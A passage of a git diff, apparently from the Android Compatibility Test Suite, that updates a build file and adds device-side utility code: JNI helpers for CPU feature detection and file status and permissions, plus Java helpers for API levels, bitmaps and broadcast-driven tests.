+++ b/common/device-side/util/Android.mk
@@ -16,16 +16,23 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    $(call all-Iaidl-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-common-util-devicesidelib \
+    android-support-test \
+    ub-uiautomator \
+    mockito-target-minus-junit4 \
+    legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
 
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_MODULE := compatibility-device-util
 
-# uncomment when b/13282254 is fixed
-#LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := current
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
diff --git a/common/device-side/util/jni/Android.mk b/common/device-side/util/jni/Android.mk
new file mode 100644
index 0000000..8627d24
--- /dev/null
+++ b/common/device-side/util/jni/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2010 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libcts_jni
+
+# Don't include this package in any configuration by default.
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := \
+		CtsJniOnLoad.cpp \
+		android_cts_FileUtils.cpp \
+		android_cts_CpuFeatures.cpp \
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
+LOCAL_STATIC_LIBRARIES := cpufeatures
+LOCAL_SDK_VERSION := 19
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/common/device-side/util/jni/CtsJniOnLoad.cpp b/common/device-side/util/jni/CtsJniOnLoad.cpp
new file mode 100644
index 0000000..38345ae
--- /dev/null
+++ b/common/device-side/util/jni/CtsJniOnLoad.cpp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <stdio.h>
+
+extern int register_android_cts_FileUtils(JNIEnv*);
+extern int register_android_cts_CpuFeatures(JNIEnv*);
+
+jint JNI_OnLoad(JavaVM *vm, void *reserved) {
+    JNIEnv *env = NULL;
+
+    if (vm->GetEnv((void **) &env, JNI_VERSION_1_4) != JNI_OK) {
+        return JNI_ERR;
+    }
+
+    if (register_android_cts_FileUtils(env)) {
+      return JNI_ERR;
+    }
+
+    if (register_android_cts_CpuFeatures(env)) {
+      return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_4;
+}
diff --git a/common/device-side/util/jni/android_cts_CpuFeatures.cpp b/common/device-side/util/jni/android_cts_CpuFeatures.cpp
new file mode 100644
index 0000000..7843343
--- /dev/null
+++ b/common/device-side/util/jni/android_cts_CpuFeatures.cpp
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+#include <cpu-features.h>
+#include <jni.h>
+#include <string.h>
+#include <sys/auxv.h>
+
+jboolean android_cts_CpuFeatures_isArmCpu(JNIEnv* env, jobject thiz)
+{
+    AndroidCpuFamily cpuFamily = android_getCpuFamily();
+    return cpuFamily == ANDROID_CPU_FAMILY_ARM;
+}
+
+jboolean android_cts_CpuFeatures_isArm7Compatible(JNIEnv* env, jobject thiz)
+{
+    uint64_t cpuFeatures = android_getCpuFeatures();
+    return (cpuFeatures & ANDROID_CPU_ARM_FEATURE_ARMv7) == ANDROID_CPU_ARM_FEATURE_ARMv7;
+}
+
+jboolean android_cts_CpuFeatures_isMipsCpu(JNIEnv* env, jobject thiz)
+{
+    AndroidCpuFamily cpuFamily = android_getCpuFamily();
+    return cpuFamily == ANDROID_CPU_FAMILY_MIPS;
+}
+
+jboolean android_cts_CpuFeatures_isX86Cpu(JNIEnv* env, jobject thiz)
+{
+    AndroidCpuFamily cpuFamily = android_getCpuFamily();
+    return cpuFamily == ANDROID_CPU_FAMILY_X86;
+}
+
+jboolean android_cts_CpuFeatures_isArm64Cpu(JNIEnv* env, jobject thiz)
+{
+    AndroidCpuFamily cpuFamily = android_getCpuFamily();
+    return cpuFamily == ANDROID_CPU_FAMILY_ARM64;
+}
+
+jboolean android_cts_CpuFeatures_isMips64Cpu(JNIEnv* env, jobject thiz)
+{
+    AndroidCpuFamily cpuFamily = android_getCpuFamily();
+    return cpuFamily == ANDROID_CPU_FAMILY_MIPS64;
+}
+
+jboolean android_cts_CpuFeatures_isX86_64Cpu(JNIEnv* env, jobject thiz)
+{
+    AndroidCpuFamily cpuFamily = android_getCpuFamily();
+    return cpuFamily == ANDROID_CPU_FAMILY_X86_64;
+}
+
+jint android_cts_CpuFeatures_getHwCaps(JNIEnv*, jobject)
+{
+    return (jint)getauxval(AT_HWCAP);
+}
+
+static JNINativeMethod gMethods[] = {
+    {  "isArmCpu", "()Z",
+            (void *) android_cts_CpuFeatures_isArmCpu  },
+    {  "isArm7Compatible", "()Z",
+            (void *) android_cts_CpuFeatures_isArm7Compatible  },
+    {  "isMipsCpu", "()Z",
+            (void *) android_cts_CpuFeatures_isMipsCpu  },
+    {  "isX86Cpu", "()Z",
+            (void *) android_cts_CpuFeatures_isX86Cpu  },
+    {  "isArm64Cpu", "()Z",
+            (void *) android_cts_CpuFeatures_isArm64Cpu  },
+    {  "isMips64Cpu", "()Z",
+            (void *) android_cts_CpuFeatures_isMips64Cpu  },
+    {  "isX86_64Cpu", "()Z",
+            (void *) android_cts_CpuFeatures_isX86_64Cpu  },
+    {  "getHwCaps", "()I",
+            (void *) android_cts_CpuFeatures_getHwCaps  },
+};
+
+int register_android_cts_CpuFeatures(JNIEnv* env)
+{
+    jclass clazz = env->FindClass("com/android/compatibility/common/util/CpuFeatures");
+
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/common/device-side/util/jni/android_cts_FileUtils.cpp b/common/device-side/util/jni/android_cts_FileUtils.cpp
new file mode 100644
index 0000000..c1b52af
--- /dev/null
+++ b/common/device-side/util/jni/android_cts_FileUtils.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <grp.h>
+#include <jni.h>
+#include <pwd.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <assert.h>
+
+static jclass gFileStatusClass;
+static jfieldID gFileStatusDevFieldID;
+static jfieldID gFileStatusInoFieldID;
+static jfieldID gFileStatusModeFieldID;
+static jfieldID gFileStatusNlinkFieldID;
+static jfieldID gFileStatusUidFieldID;
+static jfieldID gFileStatusGidFieldID;
+static jfieldID gFileStatusSizeFieldID;
+static jfieldID gFileStatusBlksizeFieldID;
+static jfieldID gFileStatusBlocksFieldID;
+static jfieldID gFileStatusAtimeFieldID;
+static jfieldID gFileStatusMtimeFieldID;
+static jfieldID gFileStatusCtimeFieldID;
+
+/*
+ * Native methods used by
+ * cts/common/device-side/util/src/com/android/compatibility/common/util/FileUtils.java
+ *
+ * Copied from hidden API: frameworks/base/core/jni/android_FileUtils.cpp
+ */
+
+jboolean android_cts_FileUtils_getFileStatus(JNIEnv* env, jobject thiz,
+        jstring path, jobject fileStatus, jboolean statLinks)
+{
+    const char* pathStr = env->GetStringUTFChars(path, NULL);
+    jboolean ret = false;
+    struct stat s;
+
+    int res = statLinks == true ? lstat(pathStr, &s) : stat(pathStr, &s);
+
+    if (res == 0) {
+        ret = true;
+        if (fileStatus != NULL) {
+            env->SetIntField(fileStatus, gFileStatusDevFieldID, s.st_dev);
+            env->SetIntField(fileStatus, gFileStatusInoFieldID, s.st_ino);
+            env->SetIntField(fileStatus, gFileStatusModeFieldID, s.st_mode);
+            env->SetIntField(fileStatus, gFileStatusNlinkFieldID, s.st_nlink);
+            env->SetIntField(fileStatus, gFileStatusUidFieldID, s.st_uid);
+            env->SetIntField(fileStatus, gFileStatusGidFieldID, s.st_gid);
+            env->SetLongField(fileStatus, gFileStatusSizeFieldID, s.st_size);
+            env->SetIntField(fileStatus, gFileStatusBlksizeFieldID, s.st_blksize);
+            env->SetLongField(fileStatus, gFileStatusBlocksFieldID, s.st_blocks);
+            env->SetLongField(fileStatus, gFileStatusAtimeFieldID, s.st_atime);
+            env->SetLongField(fileStatus, gFileStatusMtimeFieldID, s.st_mtime);
+            env->SetLongField(fileStatus, gFileStatusCtimeFieldID, s.st_ctime);
+        }
+    }
+
+    env->ReleaseStringUTFChars(path, pathStr);
+
+    return ret;
+}
+
+jstring android_cts_FileUtils_getUserName(JNIEnv* env, jobject thiz,
+        jint uid)
+{
+    struct passwd *pwd = getpwuid(uid);
+    return env->NewStringUTF(pwd->pw_name);
+}
+
+jstring android_cts_FileUtils_getGroupName(JNIEnv* env, jobject thiz,
+        jint gid)
+{
+    struct group *grp = getgrgid(gid);
+    return env->NewStringUTF(grp->gr_name);
+}
+
+jint android_cts_FileUtils_setPermissions(JNIEnv* env, jobject clazz,
+        jstring file, jint mode)
+{
+    const char *fileStr = env->GetStringUTFChars(file, NULL);
+    if (fileStr == NULL) {
+        return -1;
+    }
+
+    if (strlen(fileStr) <= 0) {
+        env->ReleaseStringUTFChars(file, fileStr);
+        return ENOENT;
+    }
+
+    jint returnValue = chmod(fileStr, mode) == 0 ? 0 : errno;
+    env->ReleaseStringUTFChars(file, fileStr);
+    return returnValue;
+}
+
+static JNINativeMethod gMethods[] = {
+    {  "getFileStatus",
+            "(Ljava/lang/String;Lcom/android/compatibility/common/util/FileUtils$FileStatus;Z)Z",
+            (void *) android_cts_FileUtils_getFileStatus  },
+    {  "getUserName", "(I)Ljava/lang/String;",
+            (void *) android_cts_FileUtils_getUserName  },
+    {  "getGroupName", "(I)Ljava/lang/String;",
+            (void *) android_cts_FileUtils_getGroupName  },
+    {  "setPermissions", "(Ljava/lang/String;I)I",
+            (void *) android_cts_FileUtils_setPermissions },
+};
+
+int register_android_cts_FileUtils(JNIEnv* env)
+{
+    jclass clazz = env->FindClass("com/android/compatibility/common/util/FileUtils");
+    assert(clazz != null);
+
+    gFileStatusClass = env->FindClass(
+            "com/android/compatibility/common/util/FileUtils$FileStatus");
+    assert(gFileStatusClass != null);
+    gFileStatusDevFieldID = env->GetFieldID(gFileStatusClass, "dev", "I");
+    gFileStatusInoFieldID = env->GetFieldID(gFileStatusClass, "ino", "I");
+    gFileStatusModeFieldID = env->GetFieldID(gFileStatusClass, "mode", "I");
+    gFileStatusNlinkFieldID = env->GetFieldID(gFileStatusClass, "nlink", "I");
+    gFileStatusUidFieldID = env->GetFieldID(gFileStatusClass, "uid", "I");
+    gFileStatusGidFieldID = env->GetFieldID(gFileStatusClass, "gid", "I");
+    gFileStatusSizeFieldID = env->GetFieldID(gFileStatusClass, "size", "J");
+    gFileStatusBlksizeFieldID = env->GetFieldID(gFileStatusClass, "blksize", "I");
+    gFileStatusBlocksFieldID = env->GetFieldID(gFileStatusClass, "blocks", "J");
+    gFileStatusAtimeFieldID = env->GetFieldID(gFileStatusClass, "atime", "J");
+    gFileStatusMtimeFieldID = env->GetFieldID(gFileStatusClass, "mtime", "J");
+    gFileStatusCtimeFieldID = env->GetFieldID(gFileStatusClass, "ctime", "J");
+
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
new file mode 100644
index 0000000..1df7198
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Build;
+
+/**
+ * Device-side compatibility utility class for reading device API level.
+ */
+public class ApiLevelUtil {
+
+    public static boolean isBefore(int version) {
+        return Build.VERSION.SDK_INT < version;
+    }
+
+    public static boolean isAfter(int version) {
+        return Build.VERSION.SDK_INT > version;
+    }
+
+    public static boolean isAtLeast(int version) {
+        return Build.VERSION.SDK_INT >= version;
+    }
+
+    public static boolean isAtMost(int version) {
+        return Build.VERSION.SDK_INT <= version;
+    }
+
+    public static int getApiLevel() {
+        return Build.VERSION.SDK_INT;
+    }
+
+    public static boolean codenameEquals(String name) {
+        return Build.VERSION.CODENAME.equalsIgnoreCase(name.trim());
+    }
+
+    public static boolean codenameStartsWith(String prefix) {
+        return Build.VERSION.CODENAME.startsWith(prefix);
+    }
+
+    public static String getCodename() {
+        return Build.VERSION.CODENAME;
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java
new file mode 100644
index 0000000..7f94d6f
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BitmapUtils.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.CompressFormat;
+import android.graphics.Color;
+import android.util.Log;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.lang.reflect.Method;
+import java.util.Random;
+
+public class BitmapUtils {
+    private static final String TAG = "BitmapUtils";
+
+    private BitmapUtils() {}
+
+    // Compares two bitmaps by pixels.
+    public static boolean compareBitmaps(Bitmap bmp1, Bitmap bmp2) {
+        if (bmp1 == bmp2) {
+            return true;
+        }
+
+        if (bmp1 == null || bmp2 == null) {
+            return false;
+        }
+
+        if ((bmp1.getWidth() != bmp2.getWidth()) || (bmp1.getHeight() != bmp2.getHeight())) {
+            return false;
+        }
+
+        for (int i = 0; i < bmp1.getWidth(); i++) {
+            for (int j = 0; j < bmp1.getHeight(); j++) {
+                if (bmp1.getPixel(i, j) != bmp2.getPixel(i, j)) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    public static Bitmap generateRandomBitmap(int width, int height) {
+        final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        final Random generator = new Random();
+        for (int x = 0; x < width; x++) {
+            for (int y = 0; y < height; y++) {
+                bmp.setPixel(x, y, generator.nextInt(Integer.MAX_VALUE));
+            }
+        }
+        return bmp;
+    }
+
+    public static Bitmap generateWhiteBitmap(int width, int height) {
+        final Bitmap bmp = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        bmp.eraseColor(Color.WHITE);
+        return bmp;
+    }
+
+    public static Bitmap getWallpaperBitmap(Context context) throws Exception {
+        WallpaperManager wallpaperManager = WallpaperManager.getInstance(context);
+        Class<?> noparams[] = {};
+        Class<?> wmClass = wallpaperManager.getClass();
+        Method methodGetBitmap = wmClass.getDeclaredMethod("getBitmap", noparams);
+        return (Bitmap) methodGetBitmap.invoke(wallpaperManager, null);
+    }
+
+    public static ByteArrayInputStream bitmapToInputStream(Bitmap bmp) {
+        final ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        bmp.compress(CompressFormat.PNG, 0 /*ignored for PNG*/, bos);
+        byte[] bitmapData = bos.toByteArray();
+        return new ByteArrayInputStream(bitmapData);
+    }
+
+    private static void logIfBitmapSolidColor(String fileName, Bitmap bitmap) {
+        int firstColor = bitmap.getPixel(0, 0);
+        for (int x = 0; x < bitmap.getWidth(); x++) {
+            for (int y = 0; y < bitmap.getHeight(); y++) {
+                if (bitmap.getPixel(x, y) != firstColor) {
+                    return;
+                }
+            }
+        }
+
+        Log.w(TAG, String.format("%s entire bitmap color is %x", fileName, firstColor));
+    }
+
+    public static void saveBitmap(Bitmap bitmap, String directoryName, String fileName) {
+        new File(directoryName).mkdirs(); // create dirs if needed
+
+        Log.d(TAG, "Saving file: " + fileName + " in directory: " + directoryName);
+
+        if (bitmap == null) {
+            Log.d(TAG, "File not saved, bitmap was null");
+            return;
+        }
+
+        logIfBitmapSolidColor(fileName, bitmap);
+
+        File file = new File(directoryName, fileName);
+        try (FileOutputStream fileStream = new FileOutputStream(file)) {
+            bitmap.compress(Bitmap.CompressFormat.PNG, 0 /* ignored for PNG */, fileStream);
+            fileStream.flush();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
new file mode 100644
index 0000000..4ac8403
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BlockingBroadcastReceiver.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.support.annotation.Nullable;
+import android.util.Log;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A receiver that allows caller to wait for the broadcast synchronously. Notice that you should not
+ * reuse the instance. Usage is typically like this:
+ * <pre>
+ *     BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(context, "action");
+ *     try {
+ *         receiver.register();
+ *         Intent intent = receiver.awaitForBroadcast();
+ *         // assert the intent
+ *     } finally {
+ *         receiver.unregisterQuietly();
+ *     }
+ * </pre>
+ */
+public class BlockingBroadcastReceiver extends BroadcastReceiver {
+    private static final String TAG = "BlockingBroadcast";
+
+    private static final int DEFAULT_TIMEOUT_SECONDS = 10;
+
+    private final BlockingQueue<Intent> mBlockingQueue;
+    private final String mExpectedAction;
+    private final Context mContext;
+
+    public BlockingBroadcastReceiver(Context context, String expectedAction) {
+        mContext = context;
+        mExpectedAction = expectedAction;
+        mBlockingQueue = new ArrayBlockingQueue<>(1);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (mExpectedAction.equals(intent.getAction())) {
+            mBlockingQueue.add(intent);
+        }
+    }
+
+    public void register() {
+        mContext.registerReceiver(this, new IntentFilter(mExpectedAction));
+    }
+
+    /**
+     * Wait until the broadcast and return the received broadcast intent. {@code null} is returned
+     * if no broadcast with expected action is received within 10 seconds.
+     */
+    public @Nullable Intent awaitForBroadcast() {
+        try {
+            return mBlockingQueue.poll(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForBroadcast get interrupted: ", e);
+        }
+        return null;
+    }
+
+    public void unregisterQuietly() {
+        try {
+            mContext.unregisterReceiver(this);
+        } catch (Exception ex) {
+            Log.e(TAG, "Failed to unregister BlockingBroadcastReceiver: ", ex);
+        }
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java
new file mode 100644
index 0000000..bf5dc39
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestBase.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class BroadcastTestBase extends ActivityInstrumentationTestCase2<
+                                       BroadcastTestStartActivity> {
+    static final String TAG = "BroadcastTestBase";
+    protected static final int TIMEOUT_MS = 20 * 1000;
+
+    protected Context mContext;
+    protected Bundle mResultExtras;
+    private CountDownLatch mLatch;
+    protected ActivityDoneReceiver mActivityDoneReceiver = null;
+    private BroadcastTestStartActivity mActivity;
+    private BroadcastUtils.TestcaseType mTestCaseType;
+    protected boolean mHasFeature;
+
+    public BroadcastTestBase() {
+        super(BroadcastTestStartActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mHasFeature = false;
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature && mActivityDoneReceiver != null) {
+            try {
+                mContext.unregisterReceiver(mActivityDoneReceiver);
+            } catch (IllegalArgumentException e) {
+                // This exception is thrown if mActivityDoneReceiver in
+                // the above call to unregisterReceiver is never registered.
+                // If so, no harm done by ignoring this exception.
+            }
+            mActivityDoneReceiver = null;
+        }
+        super.tearDown();
+    }
+
+    protected boolean isIntentSupported(String intentStr) {
+        Intent intent = new Intent(intentStr);
+        final PackageManager manager = mContext.getPackageManager();
+        assertNotNull(manager);
+        if (manager.resolveActivity(intent, 0) == null) {
+            Log.i(TAG, "No Activity found for the intent: " + intentStr);
+            return false;
+        }
+        return true;
+    }
+
+    protected void startTestActivity(String intentSuffix) {
+        Intent intent = new Intent();
+        intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + intentSuffix);
+        intent.setComponent(new ComponentName(getInstrumentation().getContext(),
+                BroadcastTestStartActivity.class));
+        setActivityIntent(intent);
+        mActivity = getActivity();
+    }
+
+    protected void registerBroadcastReceiver(BroadcastUtils.TestcaseType testCaseType) throws Exception {
+        mTestCaseType = testCaseType;
+        mLatch = new CountDownLatch(1);
+        mActivityDoneReceiver = new ActivityDoneReceiver();
+        mContext.registerReceiver(mActivityDoneReceiver,
+                new IntentFilter(BroadcastUtils.BROADCAST_INTENT + testCaseType.toString()));
+    }
+
+    protected boolean startTestAndWaitForBroadcast(BroadcastUtils.TestcaseType testCaseType,
+                                                   String pkg, String cls) throws Exception {
+        Log.i(TAG, "Begin Testing: " + testCaseType);
+        registerBroadcastReceiver(testCaseType);
+        mActivity.startTest(testCaseType.toString(), pkg, cls);
+        if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            fail("Failed to receive broadcast in " + TIMEOUT_MS + "msec");
+            return false;
+        }
+        return true;
+    }
+
+    class ActivityDoneReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.getAction().equals(
+                    BroadcastUtils.BROADCAST_INTENT +
+                        BroadcastTestBase.this.mTestCaseType.toString())) {
+                Bundle extras = intent.getExtras();
+                Log.i(TAG, "received_broadcast for " + BroadcastUtils.toBundleString(extras));
+                BroadcastTestBase.this.mResultExtras = extras;
+                mLatch.countDown();
+            }
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
new file mode 100644
index 0000000..4b3e85d
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.util.Log;
+
+public class BroadcastTestStartActivity extends Activity {
+    static final String TAG = "BroadcastTestStartActivity";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.i(TAG, " in onCreate");
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        Log.i(TAG, " in onResume");
+    }
+
+    void startTest(String testCaseType, String pkg, String cls) {
+        Intent intent = new Intent();
+        Log.i(TAG, "received_testcasetype = " + testCaseType);
+        intent.putExtra(BroadcastUtils.TESTCASE_TYPE, testCaseType);
+        intent.setAction("android.intent.action.VIMAIN_" + testCaseType);
+        intent.setComponent(new ComponentName(pkg, cls));
+        startActivity(intent);
+    }
+
+    @Override
+    protected void onPause() {
+        Log.i(TAG, " in onPause");
+        super.onPause();
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        Log.i(TAG, " in onStart");
+    }
+
+    @Override
+    protected void onRestart() {
+        super.onRestart();
+        Log.i(TAG, " in onRestart");
+    }
+
+    @Override
+    protected void onStop() {
+        Log.i(TAG, " in onStop");
+        super.onStop();
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.i(TAG, " in onDestroy");
+        super.onDestroy();
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java
new file mode 100644
index 0000000..a4661fc
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BroadcastUtils.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.Bundle;
+
+public class BroadcastUtils {
+    public enum TestcaseType {
+        ZEN_MODE_ON,
+        ZEN_MODE_OFF,
+        AIRPLANE_MODE_ON,
+        AIRPLANE_MODE_OFF,
+        BATTERYSAVER_MODE_ON,
+        BATTERYSAVER_MODE_OFF,
+        THEATER_MODE_ON,
+        THEATER_MODE_OFF
+    }
+    public static final String TESTCASE_TYPE = "Testcase_type";
